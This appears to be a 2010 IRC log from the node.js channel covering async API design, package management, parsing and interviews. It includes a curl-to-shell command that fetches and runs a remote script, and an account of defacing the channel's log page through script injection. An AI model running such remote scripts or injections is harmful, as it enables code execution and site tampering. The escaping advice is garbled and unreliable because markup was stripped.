[17:55] isaacs_mobile: Yeah, that's changing. See issue #60
[17:56] isaacs_mobile: Got a bit distracted by xml
[17:56] mikeal: i saw that changed in ejsgi
[17:56] isaacs_mobile: Sidnicious: ^
[17:57] Sidnicious: ejsgi?
[17:57] Sidnicious: Oh, you're pointing me up to issue #60
[17:57] isaacs_mobile: mikeal: yeah. I'm working on getting a simple registry up so I can do by-name installs
[17:58] mikeal: i'm just in awe that you write docs before code, that's like the opposite of me
[17:58] isaacs_mobile: Hahaha
[17:58] isaacs_mobile: Only when its tricky
[17:59] isaacs_mobile: Usually I try not to do that
[17:59] mikeal: All i know from issue 60 is that XL pharmacy has the lowest prices on the internet for Viagra
[17:59] Sidnicious: isaacs_mobile: Ah, should've looked there before coming here about it... I was just confused the first time I saw a numeric parameter come in as a number, seems like an application-level thing, or at least something that should be optional. If it's changing, awesome.
[17:59] isaacs_mobile: Sidnicious: yeah, issue 60 in ry's node
[17:59] mikeal: http://github.com/ry/node/issues/#issue/60
[17:59] Sidnicious: yeah, I see it.
[17:59] isaacs_mobile: Mikeal tnx
[18:00] isaacs_mobile: some dicy edge caases there, though
[18:00] mikeal: just wait until you have to deal with cookie parsing :)
[18:01] isaacs_mobile: Yeah, cookies...
[18:01] isaacs_mobile: Mmm
[18:01] okito has joined the channel
[18:01] mikeal: haha
[18:09] JimBastard6 has joined the channel
[18:09] Sidnicious has left the channel
[18:09] JimBastard6: snoooooooow
[18:10] sveisvei has joined the channel
[18:11] JimBastard9 has joined the channel
[18:11] JimBastard9: stupid java.freenode
[18:15] isaacs has joined the channel
[18:16] creationix: I hear there is a blizzard in NY
[18:17] JimBastard9: you could say that
[18:17] JimBastard9: hey creationix are you based in NY or texas? i was looking at the node users page and i think your timezone is wrong?
[18:17] JimBastard9: either that or mine is wrong
[18:17] creationix: I think a bunch of you guys ended up in central time
[18:17] jimfear has joined the channel
[18:18] JimBastard9: if i was retarded and didn't know what UTC i was in, where would NY be
[18:18] creationix: -5(-4)
[18:19] creationix: It's confusing to me too, but I know Ryan is in california and he's in -8(-7)
[18:19] JimBastard9: yeah i think i started a few people followed me over to the wrong time zone lol
[18:19] JimBastard9: i'll move me and tmpvar
[18:20] JimBastard9: node community is killing it
[18:20] JimBastard9: lots of people
[18:23] JimBastard9: hey inimino i think im about ready to start writing the PEGs for this Mr. Regex thingy, do you have any recommendations on where to start?
[18:24] gwoo has joined the channel
[18:24] JimBastard9: i was looking at http://www.tinlizzie.org/ometa-js/#Sample_Project and TreeTop
[18:24] JimBastard9: err
[18:24] JimBastard9: http://www.tinlizzie.org/ometa-js/#Sample_Project
[18:24] JimBastard9: and TreeTop
[18:24] inimino: JimBastard9: so you're writing a PEG for the language that looks like "dear Mr. Regex ..."?
[18:25] JimBastard9: i think thats the plan, the grammar is pretty well defined in the google doc already (as plain english)
[18:25] inimino: should be pretty straightforward, you'll just want to get a stream of words out
[18:25] JimBastard9: im like an uber peg noob
[18:25] inimino: and then you'll just write some custom code to drop all the noise and make sense of what's left
[18:25] JimBastard9: im just trying to figure out the easiest tool to use
[18:26] inimino: I guess you could write the PEG so that it drops noise words from the parse tree itself
[18:26] inimino: JimBastard9: the easiest way to start might be to just split on spaces and then go from there
[18:26] JimBastard9: well, i know every single "keyword" or "operator"
[18:26] JimBastard9: and all my strings are in double quotes
[18:26] inimino: var words=input.split(' ')
[18:27] inimino: oh, strings...
[18:27] inimino: well...
[18:27] JimBastard9: like i could write up code that would parse what i needed, but i thought a PEG was like a standard way of doing parsing?
[18:27] JimBastard9: i could just hack it in JS or whatever
[18:27] JimBastard9: thanks for the info btw, much appreciated
[18:28] inimino: it's just that for such a simple language, hacking it might be quicker
[18:28] inimino: but I don't know how simple it actually will end up :)
[18:28] JimBastard9: well then, what if i wanted to port it though
[18:28] inimino: Expr ← (Token / String)*
[18:29] JimBastard9: the basic implemation is easy , but its gonna break very quickly as i start to implement more complex stuff
[18:29] inimino: Token ← [a-z]+
[18:29] JimBastard9: so i'd like to start in the right direction
[18:29] creationix: inimino: DO you have any async map and filter helpers laying around?
[18:29] creationix: http://gist.github.com/300639
[18:29] creationix: I'm trying to get rid of the manual counting in the async example
[18:30] mattly has joined the channel
[18:30] inimino: String ← [ " ] [^ " ]* [ " ]
[18:30] inimino: JimBastard9: something like that could get you started...
[18:31] creationix: Jim, I find a regexp based lexer works great for breaking apart tokens http://github.com/creationix/jack/blob/master/lib/jack/lexer.js
[18:32] gwoo has joined the channel
[18:32] JimBastard9: im still slightly lost inimino are you suggesting to hack it or use a PEG?
[18:32] inimino: yes, regexes and plain JavaScript are probably easiest
[18:32] isaacs: inimino: that's not quite what a string is, though
[18:32] inimino: JimBastard9: I'm just showing what a PEG for that would look like
[18:32] isaacs: what about "fo\"oo"
[18:32] isaacs: or 'foo;
[18:32] isaacs: 'foo'
[18:32] JimBastard9: ahh i see
[18:32] dnolen has joined the channel
[18:32] JimBastard9: do you recommend any PEG tools that will make my life a bit easier?
[18:33] inimino: isaacs: well, obviously that's not a string syntax that supports nested quoted strings ;)
[18:33] isaacs: oh, ok
[18:33] JimBastard9: yeah, im not dealing with nested quotes yet
[18:33] isaacs: ACTION didn't rtfa
[18:33] inimino: (I mean it's up to him what his string syntax actually is)
[18:33] bentomas: Does anyone know if we came to a consensus about Promises vs. Continuables vs. Callbacks? Re this thread: http://groups.google.com/group/nodejs/browse_thread/thread/78ad3478317ee19c
[18:33] isaacs: what's the task?
[18:33] bentomas: I have a continuable implementation based off of that thread that I'm interested in feedback about...
[18:33] creationix: cool thing about regex based lexers is you can drop in a regular function for complex tokens that can't be captured properly with regular expressions
[18:34] creationix: a regex is just a function in javascript
[18:34] inimino: bentomas: node is getting some simple low-level stuff on which any of those can be built, which I think everyone is satisfied with at the moment
[18:34] bentomas: inimino: so, is posix going to switch to this low-level stuff instead of Promises?
[18:35] bentomas: It seems useful to me that all the node modules adopt one style for doing async code
[18:35] inimino: bentomas: I think that's the current plan
[18:35] inimino: let 1000 flowers bloom :)
[18:36] inimino: I don't think we're ready to coalesce around a single system yet
[18:36] bentomas: inimino: (sorry to keep asking more questions) and the low-level stuff will not be chainable but will mostly just be callbacks? like process.fs?
[18:37] inimino: creationix: I think parallel() could be used recursively to do this
[18:37] stephenlb has joined the channel
[18:37] inimino: bentomas: yes
[18:37] bentomas: yeah, I know, but I would be interested in moving towards coalescence, and am willing to move over the existing apis if we could decide on an API
[18:37] creationix: it can, but when I tried it, the code ended up being longer than doing it by hand
[18:37] inimino: hm, let me see
[18:38] creationix: bentomas: that's why I've been experimenting with different async ideas and blogging about them on howtonode.org
[18:38] creationix: trying to see what works and what doesn't and to get other's input
[18:38] stephenlb has joined the channel
[18:38] mikeal has joined the channel
[18:39] bentomas: well, here is my vote for a continuable implementation: http://gist.github.com/300667
[18:39] ericflo has joined the channel
[18:39] bentomas: (similar to felix's suggestion, chainable, single callback, easy to use: http://groups.google.com/group/nodejs/msg/44fdc68c6e344505)
[18:40] bentomas: (but with a difference, instead of one value for error and one for success, the first parameter is either and the second is a boolean telling you which)
[18:40] inimino: bentomas: interesting
[18:41] bentomas: but I was under the impression that node wanted to adopt a continuable style api for all its async stuff—not something more low level than that
[18:41] inimino: it looks a little more like a promise in that it caches the value and accepts multiple callbacks
[18:41] bentomas: (oops example is incomplete!)
[18:41] inimino: bentomas: as I see it, what's likely to happen is that node will pull out Promises from the core
[18:41] isaacs: i'd like to see something more low-level, personally, but also don't care very much about it.
[18:42] inimino: bentomas: and all low-level node stuff will just be callbacks
[18:42] isaacs: just callbacks would be fine.
[18:42] bentomas: (fixed)
[18:42] isaacs: you can build whatever you want on top of that.
[18:42] inimino: bentomas: then most node users will grab one of the existing higher-level libraries
[18:42] inimino: right
[18:42] isaacs: inimino: ++
[18:42] keeto has joined the channel
[18:42] bentomas: yeah, that I agree completely, I didn't know how low-level node was going
[18:43] isaacs: node is like a limbo expert.
[18:43] isaacs: it's super low!
[18:43] inimino: as low as I can talk ryah into, probably :)
[18:43] bentomas: this doesn't add any objects and is a lot simpler than promises, but certainly isn't as low level as just callbacks
[18:43] ryah: inimino: no, as low as you can talk everyone else into :)
[18:43] isaacs: inimino: yeah, i think ryah's fine with C.
[18:43] inimino: ryah: haha, ok :)
[18:44] bentomas: well, would should we start moving the posix model to use the same system for callbacks that process.fs uses?
[18:44] ryah: i was thinking about it though. it's pretty useful to have promises built into node.
[18:44] okito has joined the channel
[18:44] mikeal: extremely useful
[18:44] isaacs: promises are handy for some things, certainly
[18:45] bentomas: I think Promises should be built-in (and maybe continuables) but I'm not convinced the core libraries should use them
[18:45] ryah: yeah
[18:45] isaacs: but most of the other sugestsions were functionally equivalent to Promises anyhow.
[18:45] isaacs: or way too high-level
[18:45] ryah: well there should definitely be a way to get at the fs operations without using promises
[18:45] ryah: (which there are, but undocumented)
[18:46] ryah: maybe the dns stuff too
[18:46] ryah: i think that's all we're using promises for
[18:47] ryah: and posix really needs to be renamed
[18:47] ryah: i regret that choice
[18:47] bentomas: well, I'm less concerned about what is decided on and more interested in helping us reaching a decision and making those changes. The async style has been up for debate for a while now. I'm happy to start making suggested changes!
[18:47] ryah: i'm afraid to call it 'fs' cause i think commonjs has dibs on that
[18:48] inimino: fs-base?
[18:48] ryah: and they have some different idea of what should be in there
[18:48] inimino: that's their thing
[18:48] deanlandolt: ryah: afs perhaps
[18:48] ryah: deanlandolt: sounds confusing
[18:48] inimino: maybe just fs is ok
[18:49] ryah: so i think we want 3 'fs' type modules
[18:49] ryah: 1) raw async 2) raw sync 3) async with promises
[18:49] ryah: not sure if they should all be stuffed into the same
[18:49] ryah: probably 3) should be default
[18:49] deanlandolt: sounds reasonable
[18:50] deanlandolt: fs-base: raw sync + raw async perhaps
[18:50] ryah: 'fs-raw' 'fs-sync' 'fs' ?
[18:50] deanlandolt: that seems reasonable
[18:50] ryah: 'fs-basic' 'fs-sync' 'fs' ?
[18:50] ryah: ACTION shrugs
[18:51] ryah: naming stuff is hard.
[18:51] inimino: I'd kind of like to see the packaging stuff happen first
[18:51] ryah: (when you're not on drugs)
[18:51] JimBastard9: package managment?
[18:51] inimino: then it will be easier to agitate for getting stuff I don't like pulled out of node core :)
[18:51] inimino: JimBastard9: i.e. $ node-package-thing install foo
[18:52] JimBastard9: yeah man
[18:52] JimBastard9: that REALLY has to be done right
[18:52] JimBastard9: dependency hell is the worst
[18:52] ryah: pakcage management is too hard
[18:52] ryah: i don't want to think about it
[18:52] JimBastard9: package X requires version 1.2 of package Y, package Z requires version 1.8 of package Z
[18:52] JimBastard9: LET THE FIGHT BEGIN
[18:52] bentomas: inimino: from your thread it sounded like you wanted something like what I suggested—http://groups.google.com/group/nodejs/msg/f489038bc5cc23e5
[18:52] JimBastard9: errr
[18:53] JimBastard9: package X requires version 1.2 of package Y, package Z requires version 1.8 of package Y
[18:53] JimBastard9: sorry
[18:53] deanlandolt: well, you could pull in any package manager you wanted with a shell script (perhaps something that ships with node-core)
[18:53] isaacs: JimBastard9: the answer there is to introduce active vs inactive versions.
[18:53] JimBastard9: isaacs im not sure of the solution, but im aware of the problem
[18:54] isaacs: another solution is to just die.
[18:54] JimBastard9: like IRL?
[18:54] isaacs: "Sorry, you can't have all these softwares installed in the same root.
[18:54] inimino: deanlandolt: yeah, a shell script is just about the level of complexity that I think is right
[18:54] isaacs: hahaha
[18:54] JimBastard9: >.<
[18:54] isaacs: package management is hard
[18:54] JimBastard9: yeah
[18:54] isaacs: but not lethal hard.
[18:54] isaacs: just annoying hard.
[18:54] JimBastard9: radiant extensions suffers from this problem
[18:54] JimBastard9: Radiant is a RoR CMS
[18:55] JimBastard9: and its a huge pita
[18:55] isaacs: i see
[18:55] aho has joined the channel
[18:55] isaacs: yeah, if you have multiple install roots, it's not so bad.
[18:55] isaacs: the pkg manager can just be like "Sorry, that won't work, uninstall x y and z and then we'll talk"
[18:55] isaacs: failing is better than trying to fix it.
[18:55] JimBastard9: but what if you actually need both
[18:55] atcrabtree_ has joined the channel
[18:55] isaacs: then you're doing it wrong.
[18:55] isaacs: or you need to have multiple roots.
[18:56] JimBastard9: so i guess part of the solution is having package development guidelines?
[18:56] inimino: bentomas: sure, I'd love to have continuables in core node instead of promises: I think they are unambiguously better and it would simplify my life; however, I don't expect consensus on that and I'd rather keep node simple and let everyone build what they want on top of it rather than get into endless debate about whatever async convenience-library paradigm is the One True Way
[18:57] isaacs: JimBastard9: yeah.
[18:57] isaacs: making packages accept version ranges is key
[18:57] isaacs: and sticking to semver helps a lot, too
[18:57] ryah: JimBastard9: http://wiki.commonjs.org/wiki/Packages-Background
[18:57] inimino: btw, on the topic of ultra-low-level package-pullers: http://boshi.inimino.org/3box/nhttpd/update.sh
[18:57] inimino: that's what I use to deploy that
[18:58] inimino: literally:
[18:58] inimino: curl http://boshi.inimino.org/3box/nhttpd/update.sh | sh
[18:58] inimino: and then after that...
[18:58] JimBastard9: cool ryah, reading
[18:58] inimino: ./update.sh
[18:58] stephenlb: That is a great point inimino makes. All the cool and snazy is great and should be optional. Keeping node simple and fast, etc.
[18:58] inimino: so if the package managers want to not ship with node, and you just get the one you want by running a shell script, I think it can be dead simple
[18:59] bentomas: inimino: Well, I certainly agree about not being able to reach consensus and not enjoying going back and forth on it. But it seems to me that ryah (sorry!) needs to make the hard decision and choose one system. Having lots of non-interoperable systems for abstracting away async code is going to make it harder to reuse different libraries. "well, I want to use this templating system and this database lib, but the templating uses contin
[19:00] inimino: bentomas: "let the market sort it out"
[19:00] ryah: bentomas: indeed. having one way of doing things is often better than having the best way of doing things.
[19:00] ryah: but luckily i've already made the decision on one
[19:00] ryah: and it's okay
[19:00] ryah: so maybe we'll just stick with that :)
[19:01] ryah: try to expose some low-level options
[19:01] bentomas: sounds good, and just to be clear, that's the Promises currently in Node?
[19:01] isaacs: ryah: so promises for easy things and callbacks for low level things?
[19:01] ryah: bentomas: right
[19:01] isaacs: fine by me.
[19:01] inimino: as long as callbacks are there, I don't care if promises are there too :-)
[19:01] jimfear has joined the channel
[19:02] ryah: hey. consensus!
[19:02] stephenlb: heh
[19:02] inimino: :)
[19:02] ryah: i used to live in a co-op and everything had be done by consensus. it was very difficult.
[19:02] inimino: now we just need to get elliottcable in here talking about modules :P
[19:02] isaacs: felixge: hey, you should maybe strip markup out of the logs, cuz we can't behave: http://nodejs.debuggable.com/2010-02-10.html
[19:02] JimBastard9: lolwut ryah
[19:03] JimBastard9: ahahah isaacs thats awesome
[19:03] isaacs: consensus is overrated.
[19:03] isaacs: after defacing it, i wrote an XHR to fetch the page and then set the innerHTML back to what it should be.
[19:03] JimBastard9:
[19:03] isaacs: jim, thanks.
[19:03] stephenlb: heh
[19:04] deanlandolt: JimBastard9 redirect fail
[19:04] deanlandolt: needed to be absolute there
[19:04] stephenlb: yup
[19:04] ryah: yeah. I support benevolent dictatorship
[19:04] deanlandolt: ryah: you would ;)
[19:04] isaacs: JimBastard9: also, it autolinks.
[19:04] JimBastard9:
[19:04] JimBastard9: word
[19:04] JimBastard9: still though
[19:04] JimBastard9: ahaha
[19:04] isaacs: still won't work.
[19:04] JimBastard9: i see, i could make it work
[19:05] JimBastard9: would require more then 10 seconds though
[19:05] JimBastard9: :p
[19:05] bentomas: jimbastard9: you already broke it, and it looks for things that look like URLs and wraps them
[19:05] ryah: ACTION goes off to program
[19:05] isaacs:
[19:06] JimBastard9: how about
[19:06] isaacs: nope, no recovering it.
[19:06] isaacs: it's broken.
[19:06] bentomas: inimino: okay now that we that settled, mind if I get your feed back about my continuables implementation? I'm thinking of using continuables in a library and wondering what you think of that solution
[19:06] inimino: bentomas: http://gist.github.com/300667 this one?
[19:06] bentomas: yeah
[19:06] JimBastard9:
[19:07] JimBastard9: ill stop now
[19:07] isaacs: too late.
[19:07] siong1987 has joined the channel
[19:07] isaacs: the first location.href sends it to a 404, and then it's done.
[19:07] stephenlb: yup
[19:07] isaacs: game over.
[19:07] isaacs: sends you to http://nodejs.debuggable.com/%3Ca%20href=%22www.jimbastard.com%22%3Ewww.jimbastard.com%3C/a%3E
[19:08] JimBastard9: i accidentalied the whole log
[19:08] jimfear has joined the channel
[19:08] JimBastard9: :-(
[19:08] isaacs: it's ok.
[19:08] isaacs: it was going to happen eventually.
[19:08] isaacs: it was kinda fun last night defacing and then un-defacing it, though
[19:10] Booster has joined the channel
[19:10] inimino: bentomas: hm, looks reasonable at a quick look
[19:11] pavelz: hiya anyone used express for some commercial project? it seems usable for smaller things... just wondering..
[19:11] JimBastard9: pavelz i tried to earlier this month and ran into issues so i had to ditch it
[19:11] inimino: bentomas: I'd say it's something higher-level than a continuable though, with it's enqueuing and all it's more promise-like
[19:11] JimBastard9: but it does seem to be getting better everyday
[19:12] JimBastard9: err i tried it about two months ago actually
[19:12] JimBastard9: id pay attention to the open issues and commit logs
[19:12] inimino: bentomas: I'm trying to get away without queueing things or having multiple callbacks, but I'd have to use it for a while to really have an opinion
[19:12] bentomas: inimino: hmmm... how would you define a continuable?
[19:12] pavelz: JimBastard9: anything I should look out for? database + haml + sass seem to work ok on what I have written with it
[19:12] inimino: bentomas: a function that takes a function that gets called with a value
[19:12] JimBastard9: well, i dont think session support was added until very recently
[19:12] bentomas: inimino: ahh, I really like being able to chain things
[19:13] pavelz: JimBastard9: yea I will go through them commit logs with a fine tooth comb
[19:13] bentomas: i think it makes a lot of things a lot easier and nicer to code
[19:13] joshbuddy has joined the channel
[19:13] joshbuddy has joined the channel
[19:14] bentomas: inimino: though, I am not sold on my implementation caching the value. thanks for the feedback!
[19:14] pavelz: JimBastard9: yes there are sessions imp., they are quite important :)
[19:14] JimBastard9: pavelz the project seems pretty well supported so i'd go with it for now
[19:15] creationix has joined the channel
[19:15] bentomas: jimbastard9: what project?
[19:15] JimBastard9: express
[19:15] siong1987_ has joined the channel
[19:15] bentomas: ahh
[19:15] inimino: bentomas: I think you don't need chaining, you just have to think about everything "from the other end" as it were
[19:16] inimino: bentomas: higher-order functions operating on groups of continuables, eg
[19:18] bentomas: inimino: well, groups of continuables, I agree completely, need to be solved from something else. but if one async action depends on another depends on another, then you tend to get lots of nested functions. which is a pain, and hard to keep track of. If you have a suggestion for a cleaner solution for dependent async actions besides nested functions I would be very curious in seeing some example code!
[19:19] siong1987 has joined the channel
[19:21] inimino: bentomas: I've given it some thought, I'll hopefully write something up eventually
[19:21] bentomas: inimino: *sigh* I'll try to be patient
[19:21] inimino: ACTION needs to get to some client work
[19:21] inimino: bbl
[19:26] creationix: wow, reading the logs is a royal pain, this works in chrome though view-source:http://nodejs.debuggable.com/2010-02-10.html
[19:27] JimBastard9: yeah creationix felixge gotta fix that i think
[19:27] creationix: so I missed the whole promises vs callbacks debate
[19:27] felixge: JimBastard9: well, I'll just revert the auto linking
[19:27] felixge: and make it txt again
[19:28] JimBastard9: you gotta htmlescape
[19:28] JimBastard9: so script tags and html tags dont render
[19:28] brapse has joined the channel
[19:28] JimBastard9: turn < into <
[19:28] JimBastard9: and > into >, etc
[19:28] creationix: actually I think just < would be enough
[19:28] JimBastard9: lolz
[19:35] nodelog has joined the channel [19:35] frigg: VERSION [19:35] felixge: test 2 [19:35] felixge: ok [19:35] felixge: xss fun is over [19:35] felixge: back to txt [19:35] JimBastard9: huzzah! [19:35] JimBastard9: thanks [19:36] felixge: if somebody feels like writing a more sophisticated bot, go ahead :) [19:36] JimBastard9: the best IRC bot i ever had was a markov bot trained on a year or two of my logs and all the text from www.jimbastard.com , it was very hard to tell who was real and the bot [19:37] JimBastard9: espically when either of us had been drinking [19:44] bentomas: felixge: well, it was fun while it lasted! [19:45] felixge: JimBastard9: are you the guy who did that reddis video as well? [19:45] JimBastard9: reddis? [19:45] JimBastard9: do you mean reddit? [19:45] felixge: ah, yeah [19:45] JimBastard9: lol yeah [19:45] JimBastard9: i have many videos on the interwebs [19:45] felixge: nice work ;) [19:45] JimBastard9: ahaha thanks [19:46] JimBastard9: i had one that one viral video in 2001 that got me sued for 550k [19:46] JimBastard9: good times [19:46] binary42: JimBastard9: You need to find a way to send someone in your place for the other event. Real priorities man! [19:46] isaacs has joined the channel [19:47] felixge: JimBastard9: wow, did you have to pay up? [19:47] JimBastard9: felixge - no comment [19:48] JimBastard9: binary42 - i would bail but my company throws the event [19:48] JimBastard9: and its my first month... [19:48] JimBastard9: and they are launching a site i pretty much built [19:48] JimBastard9: i gotta put in the facetime [19:48] binary42: JimBastard9: Tell them to reschedule the next round then... [19:48] JimBastard9: im not happy about it either [19:48] binary42: :-) [19:48] JimBastard9: i tried [19:48] binary42: Oof. [19:48] JimBastard9: its a 200+ person event [19:48] rolfb has joined the channel [19:48] JimBastard9: thats why i was asking you if we could change the date >.< [19:49] binary42: Nope. I don't move for big companies. Just policy. [19:49] JimBastard9: im not a big company! [19:49] binary42: Big events. [19:49] JimBastard9: fair enough [19:49] JimBastard9: it just really sucks for me [19:49] binary42: Yeah. Every night kind of sucks. I need an 8th day of the week. [19:50] binary42: My priority is to keep it regular... anyway... enough OT noise. Congratulations on the launch! [19:54] felixge: what event? [19:55] felixge: what launch? [19:55] isaacs: felixge: hey, you see my pings earlier about the logs? [19:55] felixge: isaacs: they are fixed now [19:55] isaacs: hooray. [19:55] felixge: fixed = back to txt [19:55] isaacs: sorry for the mahem *^_^* [19:55] felixge: I don't have the time to keep up with XSS protection ;) [19:56] isaacs: the safest approach is to replace < with < [19:56] isaacs: before auto-linking the hrefs, of course. [19:56] binary42: ACTION was talking about NYC.js tomorrow night vs. JimBastard9's company event. [19:56] felixge: ah ok [19:56] isaacs: playing with node-log is on my todo list, but i haven't gotten round to it. [19:56] isaacs: it's pretty low down on that thing. [19:56] felixge: isaacs: hehe [19:56] felixge: isaacs: same here [19:57] felixge: isaacs: I just search the logs for the nicks I care about :) [19:57] felixge: isaacs: no need for anything fancy [19:57] isaacs: sure [19:57] jdee has joined the channel [19:57] isaacs: and i have a bookmarklet that turns hrefs into links, anyhow [20:04] JimBastard9: inimino i'm having some troubles wrapping my head around TreeTop and Ometa, im gonna try to hack together a prototype in raw JS. im thinking if i can show something working i could try and bribe someone to write the PEG [20:09] pavelz: felixge: re: twitter - that was such a scumbag move. but I have realized again and again , 'what goes around, comes around' [20:09] JimBastard9: ? [20:09] bentomas: inimino: kriszyp: would you guys be interested in trying to get a Node meetup (depending on where in this timezone you guys live) (I'm looking at http://wiki.github.com/ry/node/node-users) [20:12] kriszyp: where are you? [20:12] kriszyp: I was just noticing that I shared a timezone with a few people [20:12] pavelz: anyone in Toronto, Canada? [20:12] kriszyp: and its not a very populous timezone [20:13] bentomas: Denver, CO [20:13] felixge: pavelz: yeah. he just emailed us saying we'll hear from his lawyers [20:13] felixge: pavelz: I say bring it on [20:14] kriszyp: I am in SLC, UT [20:14] kriszyp: bit of drive to denver :/ [20:14] bentomas: yeah, well, shucks! [20:16] ryah_away: felixge: what happened? [20:16] felixge: ryah: http://debuggable.com/posts/the-high-cost-of-open-source:4b58e599-a9a0-4774-b3ff-302bcbdd56cb [20:16] pavelz: there is AJAX night over here, but whole AJAX name seems second rate to me. [20:17] felixge: ryah: we helped organizing the last CakePHP conference in Berlin for the Cake Software Foundation. They never paid the venue, but we signed the proposal with them. So we now have to pay the venue [20:17] felixge: 5k EUR loss [20:19] isaacs: felixge: hopefully the community will help out a bit. [20:19] isaacs: that's lame, though. [20:19] felixge: isaacs: yeah [20:19] isaacs: you're paying a high price for good karma. i hope it's worth it. [20:19] felixge: isaacs: well I could deal with this all. I don't mind donating 5k EUR to open source. But being played like an idiot by the people who could easily fix that - this pushes me over the edge [20:19] JimBastard9: i think the lesson to be learned is that a promise to pay isnt a contract or escrow [20:20] isaacs: felixge: right, tha'ts the thing. you're not donating to open source, you're patching up someone else's failure to make good on a promise to you. [20:20] ryah: felixge: crap [20:21] JimBastard9: im always down for beating up PHP developer, just PM me their address [20:21] JimBastard9: *developers [20:22] felixge: JimBastard9: no need, but thanks :) [20:23] gwoo: JimBastard9: it's just 1 person [20:23] jasondavies has joined the channel [20:23] gwoo: that deserves the beat down [20:24] kriszyp has joined the channel [20:27] JimBastard9: i wanna know how long it will be until there is node-conf [20:28] gwoo: JimBastard9: is it better to just be part of jsconf and help it grow? [20:28] ithinkihaveacat has joined the channel [20:30] JimBastard9: i was half joking, but ya [20:31] JimBastard9: i wanna start a node.nyc group too, ill probaly piggy back off nyc.js [20:32] binary42: JimBastard9: Heheh. I'm not sure such niche groups are that useful BUT I do plan on doing an event based on more applied topics with actual hacking. [20:32] JimBastard9: yeah, i mean you've got more experience with these things then i do. i trust your judgement [20:32] binary42: I've been thinking of ways to dig deeper into node w/o forcing everyone at the regular meeting to sit around for it. [20:33] binary42: Since not everyone cares. [20:34] okito has joined the channel [20:34] binary42: JimBastard9: I need to pick a schedule but I'm thinking end of this month. [20:34] JimBastard9: ive got like 5 JS projects i've started up that could be something or could be a starting point for something else [20:35] JimBastard9: im really bad with starting projects and getting bored with them :-( [20:37] JimBastard9: its a slow day at work here so im trying to hack together a Mr. Regex parser [20:37] gwoo: JimBastard9: that's the benefit of open source [20:37] JimBastard9: have you seen that yet binary42 ? [20:37] gwoo: release them and try to find other's who are interested [20:38] binary42: JimBastard9: No... but it sounds fun. [20:38] JimBastard9: i added you as a collab on the google docs, please take a look if you have a minute [20:38] JimBastard9: would love inout [20:38] JimBastard9: input [20:38] JimBastard9: brb coffee time [20:40] sveimac has joined the channel [20:42] isaacs: oh, bloody hell, xml. [20:42] isaacs: apparently, any sgml constructs can have [ in them, and then just contain whateverthafuck until you see ]> [20:43] isaacs: http://dev.w3.org/cvsweb/~checkout~/2001/XML-Test-Suite/xmlconf/xmltest/valid/ext-sa/001.xml?rev=1.1.1.1&content-type=text/plain [20:45] mikeal: CDATA :( [20:45] isaacs: and i'm perfectly fine not supporting random custom entities, but that means that the SGML construct parsing is way more complicated. [20:45] isaacs: mikeal: CDATA isn't so hard. [20:45] piranha has joined the channel [20:46] isaacs: basically, when i see will not hold [21:28] isaacs: haha, yeah [21:28] JimBastard9: also it does mention SGML [21:28] JimBastard9: as the start of your problems [21:29] rictic has joined the channel [21:30] JimBastard9: why is it when i do delete jsonObj[property] it leaves an 'undefined' entry in my object? [21:30] JimBastard9: how can i get it to remove the reference all together? [21:30] hassox has joined the channel [21:31] RayMorgan: JimBastard9: when you delete it, it becomes undefined. var o = {}; o.foo === undefined; [21:32] aho: if it's for-in looping... guard with hasOwnProperty [21:32] JimBastard9: i guess its not really a problem i can code around it [21:32] JimBastard9: but it seems strange that it doesnt remove the reference [21:33] ithinkihaveacat: JimBastard9: you also get undefined if it was never there in the first place [21:33] JimBastard9: yeah but like [21:33] JimBastard9: im removing properties from an object [21:33] ithinkihaveacat: the property does disappear [21:33] ithinkihaveacat: var obj = { foo: 1 }; delete obj.foo; sys.inspect(obj); [21:33] ithinkihaveacat: that returns "{}" [21:33] aho: >>> a={b:5,c:7}; [21:33] aho: Object { b=5, more...} [21:33] aho: >>> delete a.b [21:33] aho: true [21:33] aho: >>> a [21:33] aho: Object { c=7} [21:33] aho: works fine *shrug* [21:34] JimBastard9: firebug seems to disaggree [21:34] aho: this is firebug [21:34] JimBastard9: one sec [21:35] JimBastard9: so i can confirm that works [21:35] JimBastard9: but when im inside a for in loop and try to delete the currently being iterated property [21:35] JimBastard9: it marks it as undefined instead of removing? [21:35] JimBastard9: maybe im being retarded [21:35] aho: if it's for-in looping... guard with hasOwnProperty [21:35] aho: as i said [21:36] JimBastard9: sorry, i didnt quite understand that [21:36] JimBastard9: what would the proper code look like? [21:36] aho: if(myObjectThingy.hasOwnPropery(bla){doShizzle...} [21:36] sudoer has joined the channel [21:37] aho: http://javascript.crockford.com/code.html <- search for "hasownproperty" [21:37] JimBastard9: i gotta lookup hasOwnProperty [21:37] JimBastard9: aight thanks man [21:37] JimBastard9: much appreciated [21:39] JimBastard9: hrmm still doesnt seem to be helping [21:39] JimBastard9: if (tokens.hasOwnProperty(token)) { delete tokens[token]; } [21:40] isaacs: Is there a way to get all the commits by a certain person on a certain project in github? [21:41] isaacs: like, say i wanted to see all the commits by isaacs in ry/node [21:43] ryah: ~/node > git log --author=isaacs --oneline | wc -l [21:43] ryah: 18 [21:44] isaacs: right, but what if i don't feel like downloading the repo, and just want to see it on the site? [21:44] ryah: shrug [21:45] isaacs: would be handy for checking out job applicants [21:46] JimBastard9: you hiring noders? [21:46] isaacs: JimBastard9: not atm. [21:46] isaacs: just an idle thought [21:46] isaacs: sometimes people interview really good/bad but their code is a different story. [21:47] JimBastard9: ive bombed interviews really hard before and made up for it by doing a sample project [21:48] JimBastard9: i got my current job by submitting my github before my resume [21:49] jdee has joined the channel [21:49] binary42: JimBastard9: Well, you are not someone I'd call average. A good thing but it does make interviews hard since they seemed to be designed for average candidates. [21:50] binary42: ACTION hates how most people interview. [21:51] Connorhd has joined the channel [21:51] ryah: i interviewed at facebook in october and they rejected me after one shor interview [21:51] stephenlb: ryah: :( [21:52] stephenlb: ryah: facebook must be idiots. what position did you apply to? [21:53] ryah: shrug - i just responded to a recruiter [21:53] binary42: ryah: wow. I've heard a lot of stories but it's silly they shrugged it off so quickly. [21:53] stephenlb: ah [21:54] binary42: I guess when you have something that you do really well, you probably do it better than your interviewer. [21:54] ryah: they were all 'so i see it says javascript on your resume - would you say you know javascript well? [21:54] binary42: So they probably won't know that. No way to really tell sometimes. [21:54] ryah: 'uh.. i don't know?' [21:54] binary42: lol. [21:54] stephenlb: heh [21:54] binary42: No, no. I just put it there to get this interview. [21:55] ryah: oh well. it must be hard interviewing random people. [21:57] binary42: Yeah it is. That's why I don't like how people run interviews though. So much more should be on conversation about what the job actually is rather than what someone has on a CV. [21:57] binary42: Doing an interview for something and not focusing on that is pretty lame. [21:59] stephenlb: binary42: makes sense. [21:59] JimBastard9: lame is 